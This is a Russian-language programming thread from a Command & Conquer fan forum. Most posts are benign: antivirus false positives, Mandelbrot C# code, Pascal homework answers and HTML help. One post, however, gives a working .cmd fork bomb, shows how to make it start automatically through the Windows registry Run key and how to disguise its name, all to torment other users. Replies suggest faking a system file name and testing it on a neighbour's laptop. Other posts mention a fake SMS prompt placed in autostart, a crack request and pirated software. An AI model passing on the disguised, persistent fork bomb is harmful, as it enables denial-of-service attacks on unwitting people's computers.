Помощь - Поиск - Пользователи - Календарь
Полная версия: Программирование
Форум Command & Conquer > Другие интересы > Разное
Страницы: 1, 2, 3, 4
Diamond00744
IwanS спасибо тебе огромное за понимание, я думал, меня с форума отправят куда подальше.

Я только в этой программе использовал сжатие UPX. Снизился размер с 1,6 Мб до где-то 400-600 Кб. Может, оно вызывает подозрение.

Нет, пересобрал EXE. Без сжатия и архивации отправил на VirusTotal. 6/42. Это не UPX. Возможно, простые слова "бесплатные голоса в контакте" вызывают подозрения у антивирусов =)).

Еще возможность, почему определяется вирусом - у меня при нажатии на кнопку подряд выводятся 10 окон с сообщениями (не одновременно, а первое окно - ОК - второе - ОК - третье...). Это возможно?

Программа пароля не просит, сис. файлы не меняет, в Интернет не выходит
IwanS
Diamond00744, а ты не мог бы дать листинг заголовка твоего проекта. Ну где uses <....> и до слова begin. Верхнюю часть основного файла. Мне интересно, какие библиотеки ты используешь, может быть дело в них.

P.S: Я в свое время упаковывал приложения с помощью ASPack (кажется так), проблем с ошибочным определением вирусов не было.

Насчет 10 подряд окошек... я так не делал, сказать ничего не могу. Теоретически возможно, но это было бы глупостью...
Diamond00744
Уменьшил кол-во окон с сообщениями до трех. Результат уже не 6/42, а 4/42

Я в uses все уменьшил до минимума, еще раз отправил на VirusTotal. - 4/42

uses
Windows, Messages, SysUtils, Forms,
Dialogs, ExtCtrls, pngimage, Controls, Classes, StdCtrls;

http://www.virustotal.com/ru/analisis/d5a3...6014-1277380412
Вот эти 4 подозрения
IwanS
Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит 20.gif . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.
Diamond00744
Ладно, последний момент: сжал UPX-ом, отправил, тоже 4/42

Остальное без вирусов
~IL~
одну фишку вспомнил
мне тут один чел показал, теперь я вам показываю) но это все программисты наверно знают..
создаёте текстовый файл и пишете там
%0 | %0
сохраняете под расширением *.cmd
если вам удастся запустить его и вырубить хотя бы через диспетчер задач, тогда придётся немного усложнить
%0 | %0 | %0
18.gif
если и это вас не убеждает, можно написать так
123
0% | %0
пробуем, тестируем, издеваемся над юзерами)
самый простой способ запихать в автозагрузу
а ещё лучше в реестре прописать (для тех кто в танке Пуск-выполнить-regedit)
в каталоге HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run создаем строковый параметр и в поле "Значение" задаём путь к нашему любимому *.cmd =)
если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))
если у вас на всё это мало времени, то можно написать программку, которая сделает это за вас. я готов помочь если что))
Diamond00744
~IL~, это полное издевательство... 18.gif
~IL~
есть такая интересная штука - фрактал.
самый известный фрактал - множество Мандельброта.
мне удалось раздобыть исходный код построения этого чудо-рисунка на C#
показать офф-топ

// <remarks>
// Mandel.cs Copyright 2005, written by Pierre Leclercq
// </remarks>

namespace Mandelbrot
{
public class Mandel
{
//
// Protected fields
//

protected System.Windows.Forms.ProgressBar m_ProgressBar;

//
// Constructor
//

public Mandel(System.Windows.Forms.ProgressBar pProgressBar)
{
m_ProgressBar = pProgressBar;
}

//
// Properties
//

//
// Public members
//

public System.Drawing.Bitmap GetBitmap(
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
try
{
int i = 0;
int j = 0;
int[][] lValues = new int[pImageHeight][];

for (i = 0; i < pImageHeight; i++)
{
lValues[i] = new int[pImageWidth];
}

CalculateLevels(
lValues,
pImageWidth,
pImageHeight,
pXMin,
pXMax,
pYMin,
pYMax,
pMaxIterationCount);

System.Drawing.Bitmap lBitmap = new System.Drawing.Bitmap(pImageWidth, pImageHeight, System.Drawing.Imaging.PixelFormat.Format32bppArgb);

byte lRed = 0;
byte lGreen = 0;
byte lBlue = 0;
int lPixelByteCount = 4;
int lAlphaPos = 3;
int lRedPos = 2;
int lGreenPos = 1;
int lBluePos = 0;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

System.Drawing.Imaging.BitmapData lBitmapData = new System.Drawing.Imaging.BitmapData();

lBitmap.LockBits(
new System.Drawing.Rectangle(
0,
0,
pImageWidth,
pImageHeight),
System.Drawing.Imaging.ImageLockMode.WriteOnly,
System.Drawing.Imaging.PixelFormat.Format32bppArgb,
lBitmapData);

unsafe
{
System.Byte* lStartPtr = (System.Byte*)((void*)lBitmapData.Scan0);
int lEndToStart = lBitmapData.Stride - pImageWidth * lPixelByteCount;
System.Byte* lPtr = lStartPtr;

for (j = 0; j < pImageHeight; j++)
{
for (i = 0; i < pImageWidth; i++)
{
GetColorFromLevel(
lValues[j][i],
pMaxIterationCount,
out lRed,
out lGreen,
out lBlue);

lPtr[lAlphaPos] = 255;
lPtr[lRedPos] = lRed;
lPtr[lGreenPos] = lGreen;
lPtr[lBluePos] = lBlue;

lPtr += lPixelByteCount;
lPixelPos++;
}

lPtr += lEndToStart;

m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}

lBitmap.UnlockBits(lBitmapData);

return lBitmap;
}
catch
{
return null;
}
}

//
// Protected members
//

protected double GetPotential(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = pX;
double lY = pY;
double lX2 = lX * lX;
double lY2 = lY * lY;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

if (lIteration < pMaxIterationCount)
{
return 0.5 * System.Math.Log(lX2 + lY2) / System.Math.Pow(2.0, (double)lIteration);
}
else
{
return 0.0;
}
}

protected int GetLevel(
double pX,
double pY,
int pMaxIterationCount)
{
int lIteration = 0;
double lX = 0;
double lY = 0;
double lX2 = 0;
double lY2 = 0;
double lTemp = 0;

while ((lIteration < pMaxIterationCount) && ((lX2 + lY2) < 10000.0))
{
lTemp = lX2 - lY2 + pX;
lY = 2 * lX * lY + pY;
lX = lTemp;
lX2 = lX * lX;
lY2 = lY * lY;
lIteration++;
}

return lIteration;
}

protected void CalculateLevels(
int[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
double lFactor = System.Math.Min(lXFactor, lYFactor);
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lFactor;

pArrays[j][i] = GetLevel(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void CalculatePotentials(double[][] pArrays,
int pImageWidth,
int pImageHeight,
double pXMin,
double pXMax,
double pYMin,
double pYMax,
int pMaxIterationCount)
{
int lMaxImageXIndex = pImageWidth - 1;
int lMaxImageYIndex = pImageHeight - 1;
double lX = 0.0;
double lY = 0.0;
double lXExtent = pXMax - pXMin;
double lYExtent = pYMax - pYMin;
double lXFactor = lXExtent / (double)lMaxImageXIndex;
double lYFactor = lYExtent / (double)lMaxImageYIndex;
int lPixelCount = pImageHeight * pImageWidth;
int lPixelPos = 0;

m_ProgressBar.Minimum = 0;
m_ProgressBar.Maximum = lPixelCount;
m_ProgressBar.Value = 0;

for (int j = 0; j < pImageHeight; j++)
{
lY = pYMin + (double)j * lYFactor;

for (int i = 0; i < pImageWidth; i++)
{
lX = pXMin + (double)i * lXFactor;

pArrays[j][i] = GetPotential(lX, lY, pMaxIterationCount);
lPixelPos++;
m_ProgressBar.Value = lPixelPos;
System.Windows.Forms.Application.DoEvents();
}
}
}

protected void GetColorFromLevel(
int pLevel,
int pMaxIteration,
out byte pRed,
out byte pGreen,
out byte pBlue)
{
double lRatio = (double)pLevel / (double)pMaxIteration;

pRed = 0;
pGreen = 0;
pBlue = 0;

if ((lRatio >= 0) && (lRatio < 0.125))
{
pRed = (byte)(((lRatio - 0) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 0;
}

if ((lRatio >= 0.125) && (lRatio < 0.250))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.125) / 0.125) * ((double)512) + 0.5);
pBlue = 0;
}

if ((lRatio >= 0.250) && (lRatio < 0.375))
{
pRed = (byte)((1.0 - ((lRatio - 0.250) / 0.125)) * ((double)512) + 0.5);
pGreen = 255;
pBlue = 0;
}

if ((lRatio >= 0.375) && (lRatio < 0.500))
{
pRed = 0;
pGreen = 255;
pBlue = (byte)(((lRatio - 0.375) / 0.125) * ((double)512) + 0.5);
}

if ((lRatio >= 0.500) && (lRatio < 0.625))
{
pRed = 0;
pGreen = (byte)((1.0 - ((lRatio - 0.500) / 0.125)) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.625) && (lRatio < 0.750))
{
pRed = (byte)(((lRatio - 0.625) / 0.125) * ((double)512) + 0.5);
pGreen = 0;
pBlue = 255;
}

if ((lRatio >= 0.750) && (lRatio < 0.875))
{
pRed = 255;
pGreen = (byte)(((lRatio - 0.750) / 0.125) * ((double)512) + 0.5);
pBlue = 255;
}

if ((lRatio >= 0.875) && (lRatio <= 1.000))
{
pRed = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pGreen = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
pBlue = (byte)((1.0 - ((lRatio - 0.875) / 0.125)) * ((double)512) + 0.5);
}
}

//
// Event handlers
//
}
}

и ехешник - прилагается, можно рассмотреть кое-какие детали
если понравится - можете посмотреть в гугле разные фракталы, там и видео есть, но самому как-то приятно по нему поползать) хоть там и не такая крутая детализация)
зы. самое интересное - на конце иглы =)
KALAPS Shtam8
Цитата(~IL~ @ 7.11.2010, 23:34) *

если вы хотите насолить опытному юзеру, придётся помаксимуму замаскировать его (ну, здесь уж кто на что горазд, главное, чтобы в процессах и в реестре название казалось безобидным=))

Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папке ?
~IL~
Цитата(KALAPS Shtam8 @ 13.11.2010, 20:32) *

Зачем заморачиваться и пытаться выдумать безобидное название ? Не проще взять какое ни буть название из системы и продублировать его("наш любимый *.cmd") в другой системной папки ?

ну я же говорю, кто на что горазд))
KALAPS Shtam8
Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...
~IL~
Цитата(KALAPS Shtam8 @ 14.11.2010, 0:42) *

Ну создал я этот файл , проверил ... В итоге он не хочет выключатся через диспетчер задач , а точнее диспетчер не хочет открываться , что я сделал не так ? Вот этот злобный файл ...

16.gif
вообще-то так и должно быть 54.gif
KALAPS Shtam8
Цитата(~IL~ @ 14.11.2010, 1:54) *

16.gif
вообще-то так и должно быть 54.gif

А почему тогда первый раз я смог его через деспетчер закрыть ?
И второй раз смог токо там в процессах много ----и осталось я задолбался её вырубать и перезагрузил ... Быстрее .
Пойду на ноуте соседа испытаю , автозапус и попкорн 18.gif
~IL~
Цитата(KALAPS Shtam8 @ 14.11.2010, 2:13) *

А почему тогда первый раз я смог его через деспетчер закрыть ?

видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)
KALAPS Shtam8
Цитата(~IL~ @ 14.11.2010, 11:27) *

видимо комп мощный, не успевает перегрузиться, поэтому говорю, надо усложнять код)

Ну прям мощнее некуда - меганоут 06.gif
IwanS
А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.
Ren_Dimon
ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((
IwanS
Ren_Dimon, шутник! Все инструменты серии Express Edition абсолютно бесплатны и свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/
Ren_Dimon
Цитата
свободно скачиваются с сайта Microsoft: http://www.microsoft.com/express/Windows/


ссылка не работает(

они требуют активации?
~IL~
Цитата(Ren_Dimon @ 22.11.2010, 0:16) *

ку всем! найдться у кого нибудь visual c++ express edition с кряком? програмить неначем(( у меня была visual c++ express edition 2006 но срок действия истёк((

ты под виндовс программируешь?
я просто когда С++ изучал - только в консольном приложении делал всё.
а потом на C# когда перешёл - уже под виндовс.
очень удобный язык.
компилятор SharpDevelop
простая работа с кнопочками, текстовыми полями, панельками и тд.
больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.

Цитата(IwanS @ 14.11.2010, 12:59) *

А вы не пытайтесь ему помешать, в винде есть защита, он после нескольких (десятков) самозапусков закроется системой.

у меня чёт не закрывается) видимо надо очень долго ждать)
полюбому если это попадёт в автозагрузку и юзер не сможет удалить, то это мало чем отличается от зависания "навсегда". ты же не будешь каждый раз при загрузке компа ждать пол часа?)) это ещё в лучшем случае - если мощный комп)

зы. "...после нескольких десятков самозапусков..." - у меня их сотни))

зызы. иллюстрация к шарп девелопу здесь 40.gif
Ren_Dimon
вот скачал SharpDevelop сейчас им под виндовс програмирую)

но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более. но блин ключ требует((
~IL~
Цитата(Ren_Dimon @ 22.11.2010, 1:54) *

но visual c++ express edition ваще вещь + к таму на руском она как SharpDevelop да и функций более.

ну хз, точно не могу сказать что лучше, так как не кодил на вижал С++.
а насчёт количества функций, это смотря сколько неймспейсов подключишь))
там вверху набери using sistem. и увидешь дофига всего) и в каждом этом неймспейсе куча функций, смотря для чего тебе надо...
ещё такая тема, внизу есть вкладка Source и Design.
когда находишься в Design - на верху в панели меню там можно выбрать View-Tools
и появится фигнюшка с инструментами слева, там можно выбрать Windows Forms и перетащить какие-то элементы в форму, но там не только Windows Forms есть...
когда перетащил элемент, на форме двойным кликом по нему ты перейдёшь на функцию, которая обрабатывает событие, связанное с этим объектом.
например кликаешь по кнопочке и у тя сразу в коде появляется функция
void Button1Click(object sender, EventArgs e)
{

}
и уже туда можешь прописывать чё те надо, чтобы оно происходило по нажатии на кнопку
вобщем всё очень удобно)
правда сам я в C# не очень опытный, но всегда готов помочь, чем смогу)))
ну и мне есть у кого спросить если что...
IwanS
~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.

Насчет ссылки - она у меня работает, если что-то у вас не работает - ваши проблемы. Насчет ключа, повторюсь, прога бесплатная.
Dukat863
Цитата(~IL~ @ 22.11.2010, 1:34) *

больше всего радует, что доступ к объектам класса или пространства имён осуществляется посредством точки, и из раскрывающегося списка можно выбрать) например забыл как функция называется, или не знаешь как точно называется, но представляешь как должна - вводишь первые буквы предполагаемого слова и тут же видишь - есть такое или нет.
при открытии скобки сразу выводятся возможные перегрузки функции, можно полистать и посмотреть, что она может.

У меня на моём Visual Studio 2005 пиратко edition то-же самое
exesition
Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)


показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)

2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера
Dukat863
Цитата(икзишен @ 23.11.2010, 19:37) *

Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)

Помог бы, знал бы паскаль (Я C++/GML)
AlexZ
Народ, кто шарит в Маткаде? Нужно длинную формулу записать с подстановкой чисел, ну и чтобы Маткад её решил. Я пытался вручную, но уж очень тяжко и в конце получается комплексное число из-за отриц. корня (а этот курс я забыл уже 31.gif ), к тому же перед корнем стоит знак +-, в следствии решения должно получится четыре ответа. Если кто-то сможет помочь, я скину фото примера (уже всё подставлено в уравнение). Желательно сделать это сегодня.
Заранее спасибо.
Avenger
Товарищи, как в создании страницы при помощи HTML сделать фон не цвет, а рисунок. То есть у меня есть картинка, нужно её сделать фоном страницы. Какие для этого нужно использовать теги, и если можно маленький пример.
IwanS
Avenger, http://cncfile.ru/a/test.zip
Avenger
Цитата(IwanS @ 28.11.2010, 17:06) *

Ага, спасибо! Теперь понятно. Нам в универе задали создать простенькую страничку.
~IL~
Цитата(икзишен @ 23.11.2010, 19:37) *

Люди кто поможет решит задачи? Я уже запарился над ними думать(Pascal)
показать офф-топ
1) Даны действительные массивы А(n) и B(n) подсчитать кол-во элементов, которые принадлежат условию: A(1)>B(1)

2) Дан массив A(n,m) требуется определить:
максимальное по величине число
минимальное по величине число
среднее арифметическое элементов столбцов имеющих нечетные номера


первая задача
показать офф-топ

program massiv;
var
n, i, sum: integer;
A, B: array[1..100] of integer;

begin
write('input the size of arrays:'); readln(n);
writeln('input values of A:');
for i := 1 to n
do
begin
write('A[',i,'] = '); readln(A[i]);
end;
writeln('input values of B:');
for i := 1 to n
do
begin
write('B[',i,'] = '); readln(B[i]);
end;
if ((0 < n) and (n < 101))
then
begin
sum := 0;
for i := 1 to n
do
if (A[i] > B[i])
then
sum := sum + 1;
writeln('A[i] > B[i] ', sum,' times')
end
else
writeln('error in size');

readln
end.


во второй задаче не понятно где столбцы - пускай это будут n
показать офф-топ

program massiv;
var
n, m, i, j, sum, tot, min, max: integer;
A: array[1..100, 1..100] of integer;

begin
write('input the size of array (n):'); readln(n);
write('input the size of array (m):'); readln(m);
writeln('input values:');
for i := 1 to n
do
for j := 1 to m
do
begin
write('A[', i, ', ', j, '] = '); readln(A[i, j]);
end;
if ((0 < n) and (n < 101) and (0<m) and (m<101))
then
begin
sum := 0;
tot := 0;
max := A[1, 1];
min := A[1, 1];
for i := 1 to n
do
for j := 1 to m
do
begin
if (A[i, j] > max)
then
max := A[i, j];
if (A[i, j] < min)
then
min := A[i, j];
if (i mod 2 = 1)
then
begin
sum := sum + A[i, j];
inc(tot);
end
end;

writeln('max value = ', max);
writeln('min value = ', min);
writeln('Arithmetic average = ', sum/tot:0:2);
end
else
writeln('error in size');

readln
end.
~IL~
Цитата(IwanS @ 22.11.2010, 13:36) *

~IL~, это базовый функционал всех приличных сред разработки, здесь нечем хвастаться. А вот то что Visual Studio на порядок функциональнее - это факт.

на время написания поста у меня было слабо развито понятие "среда разработки"
сейчас я разобрался... правда, конечно, не пойму что лучше психологически, быть уверенным и заблуждаться, либо сомневаться, но быть ближе к истине?)))
Diamond00744
Цитата
Diamond00744, это не серьезно. Какие-то 4 неизвестных антивируса детектят эвристикой чего-то невнятное (причем обрати внимание - одно и то же, скорее всего одни и те же базы кроме нормана) - это даже смотреть не стоит . Если касперский + дрвеб + нод32 + аваст ничего не видят - все норм.

Решил зайти в папку с прогой, она увеличилась на 50 кб + обнаружился вирус... Agent какой-то... Удалил. Решил переотправить файл на VirusTotal (старую версию, где обнаружилось 13). В этот раз уже 14.

http://www.virustotal.com/file-scan/report...df06-1291232614

Подскажите, можно ли прогу с такими результатами размещать в Инете дальше?
Dukat863
Решил я скачать этот пример. Попробовал -> понравилось -> скачал. Решил скомпилировать, а он требует файл dmusici.h

Такого файла у меня в DirectX SDK 9 нету, поэтому решил заменить на с подобным названием, не получилось.
Можете объяснить что это за файл, и где его взять (Или найдите другой потоковый плеер wav файлов)

Заранее спасибо.
Avenger
Тут полностью изложено содержимое файла dmusici.h (1961 строка 29.gif ).
Dukat863
Спасибо, помогло (Там-же нашёл ещё header'ы).
~IL~
недавно написал 2 программки.
может быть кому-то понравятся))
правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.
player.exe - кидаете в папку с музыкальными файлами, запускаете и вся эта музыка проигрывается (идею подкинул мой друг)).

у меня постоянно возникают ситуации аля "поставил чайник, сел за комп, через час пришёл на кухню и за толщей пара не можешь увидеть где чайник". я написал программку - будильник. вы можете ставить любую музыку, которая у вас есть на этот будильник. пока только в формате мрз и вав. (timer.exe).
GraYaSDF
Я все еще пользуюсь будильником, написанным мной для сайта C&C радио 31.gif
Запущу шутер и рублюсь, а как завоет сигнализация, тут же срываюсь с места и бегом чайник снимать)))

P. S.: Что ни говори, но сигнализация - лучший будильник, вставляет моментально (только не для эпилептиков, конечно).
показать офф-топ
Dukat863
Цитата(GraYaSDF @ 4.5.2011, 20:51) *

показать офф-топ


Хороший будильник (у меня прямо с его срабатыванием торрент скачался!!!)...
Diamond00744
А сюда не программирование, а простой формострой можно скидывать?
IwanS
Diamond00744, а он имеет какую-то практическую ценность или это просто формочка без функций?
Avenger
Цитата(~IL~ @ 4.5.2011, 15:05) *

правда они не доработаны, но если кому нужен исходник - всегда пожалуйста.

О, круто, скинь мне плиз исходники в ЛС. 54.gif
Dukat863
Цитата(Diamond00744 @ 7.5.2011, 22:41) *

IwanS, (ссылку удалил - Dukat863)

Нажмите для просмотра прикрепленного файла
И что я с этим должен делать?
показать офф-топ
Из-за этого вируса даже винты форматируют
Diamond00744
Что за...
Опять чтоли?

Тогда нужна помощь) Может ли это наделать UPX?
Dukat863
Используй WinRar, а не всякий virUs Packer for eXecutables.
Diamond00744
Стоп... зацените результаты:

http://www.virustotal.com/file-scan/report...2d57-1304794510
Dukat863
У меня кстати та-же версия что и там.
Лучше запакуй в rar, а не UPX
Diamond00744
Dukat863, может, просто он у тебя настроен на "оповещение о догадках"

А ссылку восстанавливаю:
показать офф-топ


UPD: программу переписал на Delphi, попробуйте. Файл перезалит.
~IL~
Цитата(IwanS @ 10.6.2010, 23:12) *

Нет, он дает дурные привычки типа не надо инициализировать переменные значениями. Дело ваше, я не рекомендую начинать с паскаля. С++ лучше для новичков и профессионалов. Это базовый язык современности.

+1 и переучиваться не придётся.
я уже не помню говорил или нет, что наш препод по С++ сказал, что, зная С++ легко освоить любой язык очень быстро. это правда, я проверял))
Diamond00744
Школьные компьютеры нужны только для экспериментов 18.gif

В школе был установлен Delphi. Я там создал формочку типа "отправьте СМС туда-то" и поместил в автозагрузку... Что случилось потом - узнаете в следующей, 197-й серии
Это текстовая версия — только основной контент. Для просмотра полной версии этой страницы, пожалуйста, нажмите сюда.
Русская версия Invision Power Board © 2001-2026 Invision Power Services, Inc.
Конвертация из ExBB - TSB Scripts 2008